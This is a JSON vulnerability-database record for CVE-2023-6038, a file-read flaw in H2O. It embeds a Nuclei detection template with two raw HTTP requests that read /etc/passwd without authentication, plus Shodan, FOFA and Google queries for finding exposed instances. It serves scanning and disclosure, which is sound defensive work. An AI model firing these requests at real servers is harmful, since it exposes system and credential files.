{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-6038/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-6038/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-6038/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-6038/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-6038/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-6038"},"sightings":{"href":"/api/v1/sightings/cve-2023-6038"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-6038.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2023-6038\n\ninfo:\n  name: H2O ImportFiles - Local File Inclusion\n  author: danmcinerney,byt3bl33d3r\n  severity: high\n  description: |\n    An attacker is able to read any file on the server hosting the H2O dashboard without any authentication.\n  impact: |\n    Unauthenticated attackers can read any file on the server via the ImportFiles endpoint, potentially exposing sensitive data including database contents and application code.\n  remediation: |\n    Update H2O to a version that implements proper authentication and authorization controls for the ImportFiles endpoint.\n  reference:\n    - https://huntr.com/bounties/380fce33-fec5-49d9-a101-12c972125d8c/\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-6038\n    - https://github.com/h2o/h2o\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2023-6038\n    cwe-id: CWE-862\n    epss-score: 0.0434\n    epss-percentile: 0.90784\n    cpe: cpe:2.3:a:h2o:h2o:-:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: h2o\n    product: h2o\n    shodan-query:\n      - title:\"H2O Flow\"\n      - http.title:\"h2o flow\"\n    fofa-query: title=\"h2o flow\"\n    google-query: intitle:\"h2o flow\"\n  tags: cve,cve2023,h2o-3,h2o,ml,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /3/ImportFiles?path=%2Fetc%2Fpasswd HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        POST /3/ParseSetup HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        source_frames=%5B%22nfs%3A%2F%2Fetc%2Fpasswd%22%5D\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(body_1, 'ImportFilesV3')\"\n          - \"regex('root:.*:0:0:', body_2)\"\n          - \"status_code_2 == 200\"\n        condition: and\n# digest: 4a0a00473045022100f859d67d5fc05f767f3dd3144fcc3f58bda99437d3faadba57d3c1d3d9e9be87022072409644ead1e321d73ddf4a4bff4933ea5f5ee388e87247fefc407cd6562dc6:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2023-6038"}